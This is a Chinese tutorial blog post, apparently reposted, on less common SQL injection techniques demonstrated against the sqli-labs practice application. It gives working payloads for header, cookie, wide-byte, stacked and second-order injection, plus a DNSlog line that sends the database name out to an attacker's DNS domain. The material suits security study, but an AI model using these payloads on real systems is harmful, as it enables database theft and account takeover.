SQL注入的剩余类型

news2024/10/7 18:28:20

除了联合查询注入,报错注入,盲注注入 sql注入还有以下几类🦹🦹🦹🦹🦹

开始填坑              

1.UA注入 

原理:有些网站会把用户的UA信息写入数据库,用来收集和统计用户信息,
此时就有可能存在UA 头注入,一般会把数据插入到某张表中所以可以用报错注入

就像sqli的第18关

在这里我们可以尝试ua头注入,先找回登录的包 

一个引号报错,两个不报错 ,--->字符型注入

但是!!!!   这里的注入姿势又和select 不同,因为这里已经不是select了

所以就要有新的poc ,这里提供两个,以及查看其最终的效果

1.在括号内进行构造

' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

2.注释掉后面的值

',1,extractvalue(1,concat(0x7e,(select database()),0x7e)));#

这,就是ua注入

2.refer注入

原理:当你访问一个网站的时候,你的浏览器需要告诉服务器你是从哪个地方访问服务器
的,
大部分网站或者app都会写入数据库用来分析量从哪里来,以及统计广告投入的成本,
一般会把数据插入到某张表中所以可以用报错注入

所以这个好像和ua注入差不多,那就上poc吧

'and extractvalue(1,(concat(0x7e,(select database()),0x7e))))#
'and extractvalue(1,(concat(0x7e,(select database()),0x7e))) and '

这样都是可以的

3.Dnslog外带

原理:将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在dns服务器的dns日志中显示出来。

但是前提得是:

  • 需要root权限
  • 需要Windows的操作系统
  • secure_file_priv为空

操作如下

先去找一个dns解析的网站

然后构造这样一个poc

http://127.0.0.1/sqli/Less-1/?id=1' and (select load_file(concat('\\\\',(select
database()),'.你的dns解析的域名/abc'))) --+

这样就能将他的数据库名字返回了 ,如果你想爆user()的话,记得在之前加上hex() 得到结果再进行解码

4.Cookie注入

虽然不知道为什么,但是总有一些逆天cookie长这个样子

cookie注入的原理:对get传递来的参数进行了过滤,但是忽略了cookie也可以传递参数

所以我们就可以这样 

'and extractvalue(1,concat(0x7e,(select database()),0x7e))#

5.宽字节注入(锟斤拷

一般什么时候会发生宽字节注入呢? 当数据库采用GBK编码但是PHP又采用UTF-8编码的时候,而且还采用了一些关键词过滤函数就会发生宽字节注入 

没听懂?        来给你举个例子

假如有一个url=  127.0.0.1/sqli/less1/?id=1

那我们不用想,肯定是sql注入 单引号一套上去 但是你就会发现 ’ 变成了 /'  这就是强大的addslashes()函数的功劳了 ,但是,道高一丈,魔高一尺 我们可以抓住规则的漏洞!!

数据库不是GBK编码吗,我们能不能加点东西,让/变成一个 汉字 这样我们就实现了’的逃逸

我们只要找一个ascii码值大一点的数,将/和这个数让数据库一位是一个汉字就能实现绕过

我们常用%df,就是这样

那剩下来拿数据那些就简单了,很熟悉对吧!!

6.堆叠注入

堆叠,顾名思义,就是一堆的东西一起注入,上案例!!sqli的38关

这关感觉平平无奇,即使一个普通的字符串注入,但是我们去看一下源码??

暗藏玄只因鸡   开始代码审计!!!!

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
    
    
    /* store first result set */
    if ($result = mysqli_store_result($con1))
    {
        if($row = mysqli_fetch_row($result))
        {
            echo '<font size = "5" color= "#00FF00">';	
            printf("Your Username is : %s", $row[1]);
            echo "<br>";
            printf("Your Password is : %s", $row[2]);
            echo "<br>";
            echo "</font>";
        }
//            mysqli_free_result($result);
    }
        /* print divider */
    if (mysqli_more_results($con1))
  • 首先它的sql接受语句还是啥都没过滤,可以直接注入了
  • 然后他居然有一个 mysqli_multi_query($con1, $sql)函数,这个函数允许进行多次查询,也就是造成堆叠注入的根源!!!!!!(红队人员狂喜!!)

于是就可以构造poc

1'; insert into users(username,password) values("遇到堆叠注入","红队人员狂喜");--+

直接看第十六条数据,嘿嘿!!

7.二次注入

如果要完成二次注入,你就必须知道一个真实人员的账号假设有一个admin 密码也是admin

首先,我们注册一个用户名字为admin'# 密码为123 

然后,我们去改密码为123456就会发现 

登不进去了😱😱😱😱

反而密码变成了我们改的密码123456

这是因为update的原因 我们用admin’# 改密码的时候,发生了这样一个poc

update users password ="123456" where username="admin'#"

可以看到 admin后面的 '刚好完成了闭合 并且用#将后面的"注释掉了 

这就是二次注入的魅力 基本不存在注入(如果你把admin'#也过滤那就没办法了),但是我在二次尝试的时候就形成了注入

以上就基本上是sql注入的一些方法了, 吐槽一句 好nm的冷啊啊啊啊啊啊啊啊啊啊啊啊啊

                                                         

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1417961.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

回归预测 | Matlab实现CPO-LSSVM【24年新算法】冠豪猪优化最小二乘支持向量机多变量回归预测

回归预测 | Matlab实现CPO-LSSVM【24年新算法】冠豪猪优化最小二乘支持向量机多变量回归预测 目录 回归预测 | Matlab实现CPO-LSSVM【24年新算法】冠豪猪优化最小二乘支持向量机多变量回归预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab实现CPO-LSSVM【24年…

【JaveWeb教程】(35)SpringBootWeb案例之《智能学习辅助系统》登录功能的详细实现步骤与代码示例(8)

目录 案例-登录和认证1. 登录功能1.1 需求1.2 接口文档1.3 思路分析1.4 功能开发1.5 测试 案例-登录和认证 在前面的课程中&#xff0c;我们已经实现了部门管理、员工管理的基本功能&#xff0c;但是大家会发现&#xff0c;我们并没有登录&#xff0c;就直接访问到了Tlias智能…

Python tkinter (6) —— Listbox控件

Python的标准Tk GUI工具包的接口 tkinter系列文章 python tkinter窗口简单实现 Python tkinter (1) —— Label标签 Python tkinter (2) —— Button标签 Python tkinter (3) —— Entry标签 Python tkinter (4) —— Text控件 Python tkinter (5) 选项按钮与复选框 目录…

LeetCode(2)

目录 概念解释 栈 队列 树 树的概念 结点的分类 有序树 无序树 森林 二叉树 满二叉树 完全二叉树 二叉排序树 平衡二叉树 1.用栈实现队列 解法&#xff1a;双栈 2.字符串解码 解法&#xff1a;栈 3.二叉树的中序遍历 解法一&#xff1a;递归 解法二&#xff…

【干货】【常用电子元器件介绍】【电容】(一)--电容器的种类、命名方法、识别

声明&#xff1a;本人水平有限&#xff0c;博客可能存在部分错误的地方&#xff0c;请广大读者谅解并向本人反馈错误。   顾名思义,电容器就是“储存电荷的容器”,故电容器具有储存一定电荷的能力。就像 一般容器可以装水(或漏水),电容器可以充电(Charge)或放电(Discharge)。…

麒麟系统安装minio_centos8.0安装最新minio_离线安装minio并设置权限_创建桶---minio工作笔记001

https://www.minio.org.cn/?id=18&id=3&id=0&id=11&id=9&spinz=qianfeng&adinfo678=baidu&spinz=qianfeng&adinfo678=baidu%3E 首先去到官网去下载minio,然后 可以看到已经显示的官网,然后再去,右边点击下载 进入下载页面一般都是amd64的版本…

世界坐标系转换为平面地图坐标

将世界坐标系转换为平面地图坐标的方法通常涉及地图投影。地图投影是一种将地球&#xff08;一个三维球体&#xff09;上的点转换为平面&#xff08;二维&#xff09;地图上的点的方法。 这里介绍几种常见的地图投影方法&#xff1a; 墨卡托投影&#xff08;Mercator Projectio…

Phoncent博客GPT写作工具

对于许多人来说&#xff0c;写作并不是一件轻松的事情。有时候&#xff0c;我们可能会遇到写作灵感枯竭、写作思路混乱、语言表达困难等问题。为了解决这些问题&#xff0c;Phoncent博客推出了一款创新的工具——GPT写作工具&#xff0c;它利用了GPT技术&#xff0c;为用户提供…

Open CASCADE学习|读取STEP文件并显示

STEP文件是基于ISO 10303标准创建的三维模型数据交换文件&#xff0c;也称为产品模型数据交换标准&#xff08;Standard Exchange of Product data model&#xff09;。这种文件格式旨在提供一个不依赖具体系统的中性机制&#xff0c;实现产品数据的交换和共享。 STEP文件是一…

烟台莱州市事业单位报名流程及照片审核处理方法图文详解

烟台莱州市的事业单位招聘考试一直是众多求职者关注的焦点&#xff0c;今年也不例外。随着招聘季的到来&#xff0c;烟台莱州市的事业单位报名工作已经正式启动。对于有意向加入莱州市事业单位的朋友们来说&#xff0c;这是一个不容错过的机会。小编已经为大家精心准备了详细的…

写静态页面——魅族导航_前端页面练习

0、效果&#xff1a; 1、html代码&#xff1a;&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><…

C语言-指针的基本知识(下)

四、指针的分类 按指针指向的数据的类型来分 1:字符指针 字符型数据的地址 char *p;//定义了一个字符指针变量&#xff0c;只能存放字符型数据的地址编号 char ch; p &ch; 2&#xff1a;短整型指针 short int *p;//定义了一个短整型的指针变量p&#xff0c…

unity微信小游戏——排行榜

1.微信公众平台配置排行榜 设置时记住排行榜唯一标识 2.微信公众平台配置获取微信好友信息权限 同登录篇第一步Unity微信小游戏——登录 获取用户头像名称-CSDN博客 3.Unity搭建排行榜UI 此处建议使用官方案例的UI进行修改 minigame-unity-webgl-transform: Unity WebGL 微…

[足式机器人]Part3 机构运动学与动力学分析与建模 Ch01-2 完整定常系统——杆组RRR

本文仅供学习使用,总结很多本现有讲述运动学或动力学书籍后的总结,从矢量的角度进行分析,方法比较传统,但更易理解,并且现有的看似抽象方法,两者本质上并无不同。 2024年底本人学位论文发表后方可摘抄 若有帮助请引用 本文参考: 《空间机构的分析与综合(上册)》-张启先…

基于springboot+微信小程序+vue实现的校园二手商城项目源码

介绍 校园二手商城&#xff0c;架构&#xff1a;springboot微信小程序vue 软件架构 软件架构说明 系统截图 技术选型 技术版本说明Spring Boot2.1.6MVC核心框架Spring Security oauth22.1.5认证和授权框架MyBatis3.5.0ORM框架MyBatisPlus3.1.0基于mybatis&#xff0c;使用…

JavaScript的冒泡与捕获

1.概念。 冒泡事件&#xff1a;微软公司提出的&#xff0c;事件由子元素传递到父元素的过程叫做冒泡&#xff08;false&#xff09;。 捕获事件&#xff1a;网景公司提出的&#xff0c;事件由父元素传递到子元素的过程叫做事件捕获&#xff08;ture&#xff09;。 2.冒泡事件与…

【每日一题】5.LeetCode——环形链表

&#x1f4da;博客主页&#xff1a;爱敲代码的小杨. ✨专栏&#xff1a;《Java SE语法》 ❤️感谢大家点赞&#x1f44d;&#x1f3fb;收藏⭐评论✍&#x1f3fb;&#xff0c;您的三连就是我持续更新的动力❤️ &#x1f64f;小杨水平有限&#xff0c;欢迎各位大佬指点&…

Qt6入门教程 13:QPushButton

目录 一.QPushButton 1.多选 2.互斥 3.设置菜单 4.图标按钮 4.1给按钮添加图标 4.2异形按钮 二.设置Qt样式表 一.QPushButton QPushButton是与QAbstractButton最接近的完全体按钮&#xff0c;它具备QAbstractButton的所有特性&#xff0c;并且支持设置菜单。 1.多选 …

pytest 8.0 重磅发布!2条弃用规则,7项重大变更,多项优化改进

&#xff08;全文约3200字&#xff0c;阅读约需7分钟&#xff0c;建议先收藏后阅读。首发于公众号&#xff1a;测试开发研习社&#xff0c;欢迎关注&#xff09; pytest 版本遵循 ( <major>.<minor>.<patch>) 语义控制。 昨天发布的 pytest 8.0 是全新的 maj…

使用WAF防御网络上的隐蔽威胁之反序列化攻击

什么是反序列化 反序列化是将数据结构或对象状态从某种格式转换回对象的过程。这种格式通常是二进制流或者字符串&#xff08;如JSON、XML&#xff09;&#xff0c;它是对象序列化&#xff08;即对象转换为可存储或可传输格式&#xff09;的逆过程。 反序列化的安全风险 反序…